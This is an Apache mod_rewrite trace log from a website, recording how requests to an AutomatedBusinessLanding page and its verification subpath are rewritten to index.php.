[Mon Nov 10 18:38:22.016665 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016678 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016689 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016698 2025] [rewrite:trace1] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94017740/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016907 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016924 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016924 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016953 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016966 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016975 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016984 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016984 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.016984 2025] [rewrite:trace1] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940c0898/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017325 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017330 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017388 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017415 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017415 2025] [rewrite:trace4] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017415 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017415 2025] [rewrite:trace3] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017420 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017429 2025] [rewrite:trace2] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:22.017439 2025] [rewrite:trace1] [pid 9262:tid 9272] mod_rewrite.c(505): [client 185.220.101.130:3217] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d940cdb30/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:23.838550 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838639 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838666 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838717 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838770 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838805 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838831 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838862 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838892 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838924 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.838956 2025] [rewrite:trace1] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94018030/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839182 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839280 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839312 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839401 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839406 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839406 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839430 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839462 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839491 2025] [rewrite:trace1] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94011b58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.839974 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840029 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840061 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840095 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840126 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840153 2025] [rewrite:trace4] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840177 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840212 2025] [rewrite:trace3] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840240 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840263 2025] [rewrite:trace2] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:23.840288 2025] [rewrite:trace1] [pid 9263:tid 9301] mod_rewrite.c(505): [client 185.220.101.130:3219] 185.220.101.130 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94112640/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:34.557672 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557723 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557741 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557760 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557774 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557784 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557795 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557807 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557819 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557829 2025] [rewrite:trace1] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d94010820/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557934 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557951 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557960 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557973 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
